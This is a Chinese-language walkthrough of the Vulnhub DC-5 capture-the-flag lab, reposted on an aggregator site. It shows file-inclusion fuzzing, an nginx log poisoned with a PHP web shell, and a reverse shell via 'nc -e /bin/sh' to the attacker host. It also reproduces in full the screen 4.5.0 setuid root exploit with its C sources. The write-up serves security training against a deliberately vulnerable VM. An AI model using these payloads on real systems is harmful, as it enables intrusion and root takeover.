Vulnhub靶场DC-5练习

目录

  • 0x00 准备
  • 0x01 主机信息收集
  • 0x02 站点信息收集
  • 0x03 漏洞查找与利用
    • 1. 利用burpsuite爆破文件包含的参数
    • 2. 文件包含
    • 3. nginx日志挂马
    • 4. 反弹shell
    • 5.漏洞利用和提权
  • 0x04 总结


0x00 准备


下载链接：https://download.vulnhub.com/dc/DC-5.zip

介绍：
As far as I am aware, there is only one exploitable entry point to get in (there is no SSH either). This particular entry point may be quite hard to identify, but it is there. You need to look for something a little out of the ordinary (something that changes with a refresh of a page). This will hopefully provide some kind of idea as to what the vulnerability might involve.
And just for the record, there is no phpmailer exploit involved. 😃

只有一个可利用的入口点可以进入（也没有 SSH）。这个特定的切入点可能很难识别，但它就在那里。你需要寻找一些不寻常的东西（随着页面的刷新而改变的东西）。这有望提供一些关于漏洞可能涉及的内容的想法。
仅供记录，不涉及 phpmailer 漏洞。😃

0x01 主机信息收集



执行命令：ifconfig
kali本机的ip：192.168.22.36，网卡eth0


发现目标主机ip：netdiscover -i eth0 -r 192.168.22.0/24
目标主机ip：192.168.22.37

在这里插入图片描述


探测目标主机开放端口：nmap -sS -sV -A -n 192.168.22.37
开放了80端口，使用的是nginx1.6.2；111端口，rpcbind服务。

在这里插入图片描述


0x02 站点信息收集



前面对这个环境的介绍有一句：随着页面的刷新而改变的东西。所以在浏览站点的时候要格外注意下刷新页面后变化的地方。


看一下站点的目录结构：dirsearch -u 192.168.22.37
这几个目录都是可以直接在页面上点击就可以访问到的，只有footer.php不可以。

在这里插入图片描述


访问一下这个目录：192.168.22.37/footer.php
后面在跟网站交互的时候可以多注意一下展示这个信息的地方。

在这里插入图片描述


访问站点，再contact页面下有个留言板提交，提交一下试一试。
发现每提交一次，这里的时间就会变一下，2017，2018，2019，2020循环。

在这里插入图片描述


综合上面的信息，留言板提交后的URL，可以猜测一下，thank.php中包含了footer.php文件。

php中常见的可以导致文件包含漏洞的函数：include(), include_once(), require(), re-quire_once(), fopen(), readfile()等。

下一步的思路就是去找thank.php的文件包含的参数。



0x03 漏洞查找与利用



1. 利用burpsuite爆破文件包含的参数


访问提交留言的页面，抓包，发送到Intruder模块，利用参数字典对参数进行爆破。
访问后抓包：

在这里插入图片描述

发送到Intruder模块，利用参数字典进行爆破，只选择一个参数：

在这里插入图片描述

payload这里导入保存的参数fuzz的字典：

在这里插入图片描述

对结果按照length进行排序，可以得到一个参数file。
就可以构造thank.php?file=/etc/passwd来读取文件。

在这里插入图片描述


2. 文件包含


多次访问：192.168.22.37/thankyou.php?file=footer.php ，可以发现下面的时间是在变化的，从2017到2020循环。确认了file参数确实有文件包含。

访问：192.168.22.37/thankyou.php?file=/etc/passwd，可以看到文件内容。

在这里插入图片描述


3. nginx日志挂马



前面获取到用了nginx，利用文件包含查看nginx的配置文件：?file=/etc/nginx/nginx.conf

在这里插入图片描述

得到了nginx的日志路径为：
访问成功的日志文件：/var/log/nginx/access.log
访问失败的日志文件：/var/log/nginx/error.log

在这里插入图片描述

传入一句话木马：?file=<?php system($_GET['x']) ?>
并让这句话解析成功。
在这里插入图片描述

再进行包含nginx的错误日志，利用一句话：?file=/var/log/nginx/error.log&x=ls
可以看到ls命令执行成功。

在这里插入图片描述


4. 反弹shell


在kali上执行：nc -lvp 9876
修改数据包的路径：/thankyou.php?file=/var/log/nginx/error.log&x=nc -e /bin/sh 192.168.22.36 9876

在这里插入图片描述

可以看到监听成功。

在这里插入图片描述


5.漏洞利用和提权


执行命令，进入交互式shell：python -c "import pty;pty.spawn('/bin/bash')"

在这里插入图片描述

找到具有suid权限的文件：find / -perm -u=s -type f 2>/dev/null

在这里插入图片描述

重新打开一个终端，利用searchsploit搜索screen4.5.0相关的漏洞：searchsploit screen 4.5.0

在这里插入图片描述

查看41154.sh看一下漏洞利用的方式：cat /usr/share/exploitdb/exploits/linux/local/41154.sh

#!/bin/bash
# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
# HACK THE PLANET
# ~ infodox (25/1/2017)
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell

根据使用说明，创建两个文件/tmp/libhax.c和/tmp/rootshell.c，之后分别使用gcc进行编译，再删除创建的这两个文件，只留下编译生成的/tmp/libhax.so和/tmp/rootshell，然后再执行一系列命令。

直接在监听的shell中不好操作，所以思路是在kali中制作好三个文件，分别是编译生成的/tmp/libhax.so和/tmp/rootshell，还有将一系列的命令保存成一个shell脚本文件。然后将这三个文件传到目标机器上。

在kali的/tmp目录下，创建这两个文件。一定要在/tmp目录下，因为这个文件在目标主机上运行的时候就是在这个目录下。


执行命令：vim /tmp/libhax.c
输入文件内容：

#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}

执行命令：vim /tmp/rootshell.c
输入文件内容：

#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh",NULL);
}

执行命令：gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
执行命令：gcc -o /tmp/rootshell /tmp/rootshell.c
会报一些警告类的错误，没有什么影响，可以忽略。

在这里插入图片描述

执行命令：rm -f /tmp/libhax.c
执行命令：rm -f /tmp/rootshell.c


将剩下的代码部分保存在dc5.sh的脚本文件中。
执行命令：vim /tmp/dc5.sh （这个文件也放在/tmp目录下，因为后面会利用python的SimpleHTTPServer服务向目标主机传文件，SimpleHTTPServer使用的时候需要先进入待分享的目录，这里就是/tmp，这三个要上传的文件都放在这里比较好操作一点。）
输入文件内容：

#!/bin/bash
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so... 
/tmp/rootshell

vim文件的时候，在终端窗口中，按esc，再按shift + : ,窗口底部应该出现冒号，输入set ff=unix，回车。再按shift + : ，输入wq。（linux中sh类型的文件一般要设置为unix格式，否则可能会报错）

在这里插入图片描述

将三个文件传输到靶机：


kali本机先进入/tmp目录： cd /tmp
再开启SimpleHTTPServer服务，kali本地执行：python2 -m SimpleHTTPServer ，这里后面没跟端口号，就是使用的默认端口8000。

在这里插入图片描述

kali连接的shell中，分别执行：
cd /tmp
wget http://192.168.22.36:8000/libhax.so
wget http://192.168.22.36:8000/rootshell
wget http://192.168.22.36:8000/dc5.sh

在这里插入图片描述

给dc5.sh添加执行权限：chmod +x dc5.sh

在这里插入图片描述

执行脚本：./dc5.sh
报错：
在这里插入图片描述

/tmp/rootshell: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34’ not found (required by /tmp/rootshell)：报错原因是在kali这个高版本的linux中编译了文件，但是dc-5是低版本的。

最简便的解决方案就是下载一个2018年的kali，编译一下两个文件。

其他解决方案：在高版本的kali中编译/tmp/libhax.c和/tmp/rootshell.c时，指定GLIBC的版本。



执行完脚本之后，执行命令：whoami
就会有root权限了，进入/root目录即可发现flag。



0x04 总结



主机信息收集：

  1. netdiscover探测目标主机ip。
  2. nmap探测开放端口和服务。

站点信息收集：

  1. dirsearch查看网站目录结构。
  2. 利用burpsuite的Intruder模块，爆破文件包含的参数。

漏洞利用：

  1. 利用文件包含，进行nginx日志挂马。
  2. 反弹shell。
  3. screen4.5.0漏洞利用。



本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.mfbz.cn/a/773182.html

如若内容造成侵权/违法违规/事实不符，请联系我们进行投诉反馈qq邮箱809451989@qq.com，一经查实，立即删除！

相关文章

(十三)MipMap

(十三)MipMap

MipMap概念 滤波 采样 mipmap级别判定 问题&#xff1a;opengl如何判定应该使用下一级的mipmap呢&#xff1f; 通过glsl中的求偏导函数计算变化量决定 手动实现mipmap原理 1、生成mipmap的各个级别 2、修改vertexShader使得三角形随着时间变小 **** 需要更改Filter才能…
阅读更多...
《昇思25天学习打卡营第8天|模型训练》

《昇思25天学习打卡营第8天|模型训练》

文章目录 今日所学&#xff1a;一、构建数据集二、定义神经网络模型三、了解超参、损失函数和优化器1. 超参2. 损失函数3. 优化器 四、训练与评估总结 今日所学&#xff1a; 在今天这一节我主要学习了模型的训练&#xff0c;知道了模型训练一般分为四个步骤&#xff1a; 构建…
阅读更多...
[C++]——同步异步日志系统（2）

[C++]——同步异步日志系统（2）

同步异步日志系统 一、 不定参函数1.1 不定参宏函数的使用1.2 C 语言中不定参函数的使用1.3 C不定参数使用 二、设计模式2.1 单列模式2.2 工厂模式2.3 建造者模式2.4 代理模式 在我们开发同步异步日志系统之前&#xff0c;需要了解一些相关的技术知识。 一、 不定参函数 在初学…
阅读更多...
华为OD机试 - 考古学家 - 递归（Java 2024 D卷 200分）

华为OD机试 - 考古学家 - 递归（Java 2024 D卷 200分）

华为OD机试 2024D卷题库疯狂收录中&#xff0c;刷题点这里 专栏导读 本专栏收录于《华为OD机试&#xff08;JAVA&#xff09;真题&#xff08;D卷C卷A卷B卷&#xff09;》。 刷的越多&#xff0c;抽中的概率越大&#xff0c;每一题都有详细的答题思路、详细的代码注释、样例测…
阅读更多...
p6spy 组件打印完整的 SQL 语句、执行耗时

p6spy 组件打印完整的 SQL 语句、执行耗时

一、前言 我们来配置一下 Mybatis Plus 打印 SQL 功能&#xff08;包括执行耗时&#xff09;&#xff0c;一方面可以了解到每个操作都具体执行的什么 SQL 语句&#xff0c; 另一方面通过打印执行耗时&#xff0c;也可以提前发现一些慢 SQL&#xff0c;提前做好优化&#xff0c…
阅读更多...
西门子继裁员4100人计划后，巨资开启万人招聘！46万员工再增员……

西门子继裁员4100人计划后，巨资开启万人招聘！46万员工再增员……

导语 大家好&#xff0c;我是社长&#xff0c;老K。专注分享智能制造和智能仓储物流等内容。 新书《智能物流系统构成与技术实践》 更多的海量【智能制造】相关资料&#xff0c;请到智能制造online知识星球自行下载。 近年来&#xff0c;西门子在全球范围内继续扩大其业务规模。…
阅读更多...
leetcode--二叉树中的最长交错路径

leetcode--二叉树中的最长交错路径

leetcode地址&#xff1a;二叉树中的最长交错路径 给你一棵以 root 为根的二叉树&#xff0c;二叉树中的交错路径定义如下&#xff1a; 选择二叉树中 任意 节点和一个方向&#xff08;左或者右&#xff09;。 如果前进方向为右&#xff0c;那么移动到当前节点的的右子节点&…
阅读更多...
《vue3》reactivity API（vue3的$set呢?）

《vue3》reactivity API（vue3的$set呢?）

在Vue2中&#xff0c;修改某一些数据&#xff0c;视图是不能及时重新渲染的。 比如数组 <div> {{ myHobbies }} </div>data: () > ({myHobbies: [篮球, 羽毛球, 桌球] }); mounted () {this.myHobbies[1] sing; // 视图层并没有改变 }因此&#xff0c;Vue2就提…
阅读更多...
实验2 字符及字符串输入输出与分支程序设计实验

实验2 字符及字符串输入输出与分支程序设计实验

字符及字符串输入输出 从键盘输入两个一位十进制数&#xff0c;计算这两个数之和&#xff0c;并将结果在屏幕上显示出来。 分支程序设计 从键盘输入一字符&#xff0c;判断该字符是小写字母、大写字母、数字或者其他字符。若输入为小写字母&#xff0c;显示“You Input a Lo…
阅读更多...
无忧易售功能：刊登页面文本翻译，无缝对接全球买家

无忧易售功能：刊登页面文本翻译，无缝对接全球买家

每一个词语&#xff0c;每一句话&#xff0c;都承载着产品的灵魂和品牌的故事&#xff0c;无忧易售的刊登页面文本翻译服务&#xff0c;一键操作即可将你的产品介绍、详情或广告文案转化为多语言版本&#xff0c;轻松管理&#xff0c;高效发布。 一、Allegro、OZON、Coupang、…
阅读更多...
手动将dingtalk-sdk-java jar包打入maven本地仓库

手动将dingtalk-sdk-java jar包打入maven本地仓库

有时候，中央镜像库不一定有自己需要的jar包，这时候我们就需要用到该方法，将jar打入maven本地仓库，然后项目中，正常使用maven的引入规则。 mvn install:install-file -Dmaven.repo.local=D:\software\maven\apache-maven-3.6.3-bin\apache-maven-3.6.3\repo -DgroupId=ding…
阅读更多...
高德地图轨迹回放并提示具体信息

高德地图轨迹回放并提示具体信息

先上效果图 到达某地点后显示提示语&#xff1a;比如&#xff1a;12&#xff1a;56分驶入康庄大道、左转驶入xx大道等 <!doctype html> <html> <head><meta charset"utf-8"><meta http-equiv"X-UA-Compatible" content"…
阅读更多...
Datawhale AI夏令营2024 Task3

Datawhale AI夏令营2024 Task3

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 #AI夏令营 #Datawhale #夏令营 一、数据集制作1.1 环境配置1.2 数据处理prompt1.3 训练数据集制作1.4 测试集数据制作 二、模型微调2.1 平台微调2.2 平台微调 三、微调推理提…
阅读更多...
天环公益原创开发进度网站源码带后台免费分享

天环公益原创开发进度网站源码带后台免费分享

天环公益计划首发原创开发进度网站源码带后台免费分享 后台地址是&#xff1a;admin.php 后台没有账号密码 这个没有数据库 有能力的可以自己改 天环公益原创开发进度网站 带后台
阅读更多...
【Vue】使用html、css实现鱼骨组件

【Vue】使用html、css实现鱼骨组件

文章目录 组件测试案例预览图 组件 <template><div class"context"><div class"top"><div class"label-context"><div class"label" v-for"(item, index) in value" :key"index">…
阅读更多...
深度解析Java世界中的对象镜像：浅拷贝与深拷贝的奥秘与应用

深度解析Java世界中的对象镜像：浅拷贝与深拷贝的奥秘与应用

在Java编程的浩瀚宇宙中&#xff0c;对象拷贝是一项既基础又至关重要的技术。它直接关系到程序的性能、资源管理及数据安全性。然而&#xff0c;提及对象拷贝&#xff0c;不得不深入探讨其两大核心类型&#xff1a;浅拷贝&#xff08;Shallow Copy&#xff09;与深拷贝&#xf…
阅读更多...
【ROS2】初级：CLI工具-使用 rqt_console 查看日志

【ROS2】初级：CLI工具-使用 rqt_console 查看日志

目标&#xff1a;了解 rqt_console &#xff0c;一种用于内省日志消息的工具。 教程级别&#xff1a;初学者 时间&#xff1a;5 分钟 目录 背景 先决条件 任务 设置在 rqt_console 上的 2 条消息 日志级别 3 摘要 下一步 背景 rqt_console 是用于在 ROS 2 中内省日志消息的 GUI…
阅读更多...
【Python实战因果推断】21_倾向分1

【Python实战因果推断】21_倾向分1

目录 The Impact of Management Training Adjusting with Regression 之前学习了如何使用线性回归调整混杂因素。此外&#xff0c;还向您介绍了通过正交化去偏差的概念&#xff0c;这是目前最有用的偏差调整技术之一。不过&#xff0c;您还需要学习另一种技术--倾向加权。这种…
阅读更多...
东哥教你如何用Orange Ai pro为家里做一个垃圾分类检测机器

东哥教你如何用Orange Ai pro为家里做一个垃圾分类检测机器

前言 最近入手了一块香橙派&#xff08;Orange Ai Pro&#xff09;的板子&#xff0c;他们的口号是&#xff1a;为AI而生&#xff0c;这让一个算法工程师按捺不住了&#xff0c; 之前主要是在RKNN和ESP32等设备上部署AI模型&#xff0c;看到官方介绍的强大AI算力&#xff0c;很…
阅读更多...
how to use Xcode

how to use Xcode

Xcode IDE概览 Xcode 页面主要分为以下四个部分&#xff1a; 工具栏&#xff08;ToolBar area&#xff09;&#xff1a;主要负责程序运行调试&#xff0c;编辑器功能区域的显示 / 隐藏&#xff1b;编辑区&#xff08;Editor area&#xff09;&#xff1a;代码编写区域&#xf…
阅读更多...
最新文章

Copyright @ 2022~2023

友情链接： 我的编程经验分享 一条长河网 尧图网站开发 尧图建网站